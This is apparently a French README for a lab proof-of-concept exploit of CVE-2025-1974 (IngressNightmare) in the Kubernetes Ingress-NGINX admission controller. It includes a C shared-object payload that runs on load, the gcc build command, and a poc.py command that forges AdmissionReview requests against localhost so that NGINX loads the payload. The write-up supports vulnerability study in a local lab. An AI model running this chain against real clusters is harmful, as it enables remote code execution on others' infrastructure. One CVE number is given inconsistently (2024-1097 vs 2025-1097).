
Preuve de concept d'exploit pour CVE-2025-1974 (IngressNightmare) ciblant le Admission Controller Ingress-NGINX de Kubernetes pour parvenir à une exécution de code à distance via des requêtes AdmissionReview malveillantes.
Ingress-NGINX : contrôleur d’entrée pour Kubernetes utilisant NGINX comme proxy inverse et équilibreur de charge
La vulnérabilité « IngressNightmare » (CVE-2025-1974) provient d’un défaut critique du contrôleur d’admission Ingress-NGINX, mécanisme de sécurité clé de Kubernetes qui valide les ressources Ingress entrantes.
Ce contrôleur est exposé au réseau sans authentification, permettant à un attaquant de manipuler des requêtes AdmissionReview malveillantes et d’injecter des configurations non autorisées dans les ressources Ingress.
Lorsqu’elle est combinée à d’autres vulnérabilités (CVE-2025-24514, CVE-2024-1097 ou CVE-2025-1098), elle peut conduire à une exécution de code à distance.
Certaines chaînes exploitables sont les suivantes :
CVE-2025-1974 + CVE-2025-24514 : RCE via injection d’annotation auth-url
CVE-2025-1974 + CVE-2025-1097 : RCE via annotation auth-tls-match-cn
CVE-2025-1974 + CVE-2025-1098 : RCE via abus de l’UID d’image
Pour simuler la vulnérabilité, un environnement Kubernetes basé sur K3s est utilisé par souci de simplicité
docker compose up -d
Attendez que l’API Kubernetes soit prête et que le contrôleur Ingress-nginx démarre. Une fois l’environnement lancé, Ingress-NGINX écoute sur les ports 30080 et 30443 (TLS), et le contrôleur d’admission Ingress-NGINX écoute sur le port 30443.
Tout d’abord, compilez la charge utile d’objet partagé (.so) correspondant à l’architecture du conteneur.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
L’exploit fonctionne en falsifiant une requête d’injection de directive AdmissionReview qui force NGINX à charger un objet partagé dynamique malveillant.
Si l’exploit réussit, vous pouvez constater la création du fichier ssl_engine à l’intérieur du conteneur ingress-nginx.
